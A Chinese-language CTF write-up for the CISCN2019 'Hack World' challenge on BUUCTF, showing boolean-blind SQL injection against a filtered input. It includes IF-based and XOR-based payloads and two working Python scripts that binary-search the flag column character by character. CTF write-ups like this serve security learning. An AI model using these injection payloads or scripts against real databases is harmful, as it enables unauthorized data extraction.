[CISCN2019 华北赛区 Day2 Web1]Hack World
页面中给了提示,数据表名和列名都为flag
输入1尝试
输入2尝试
输入3提示获取结果出错
输入1'尝试找注入点,根据返回结果判断可能是字符型注入
使用永真语句尝试发现注入被过滤
通过爆破发现部分关键字并没有被过滤
这里通过师傅们(https://blog.csdn.net/l2872253606/article/details/125244044)的WP知道了两种解题方法
1.if
于是可以用布尔盲注进行解题
if(ascii(substr((select(database())),1,1))>32,1,2)
这里通过二分法脚本来解题
# buuctf web Hack World
import requests
url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
2.异或
MySQL逻辑运算符查漏补缺https://c.biancheng.net/view/7188.html
XOR 表示逻辑异或,具体语法规则为:
当任意一个操作数为 NULL 时,返回值为 NULL;
对于非 NULL 的操作数,如果两个操作数都是非 0 值或者都是 0 值,则返回值为 0;
如果一个为0值,另一个为非 0 值,返回值为 1。
构造payload
0^(ascii(substr(database(),1,1))>0)
同样使用脚本解题
# buuctf web Hack World
from turtle import right
import requests
url = "http://bcd848ad-3ba8-4d83-87e2-c22cce3bafa5.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"0^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
得到同样的结果
标签:right,letf,url,Day2,mid,flag,Web1,World,data From: https://www.cnblogs.com/fishjumpriver/p/17995401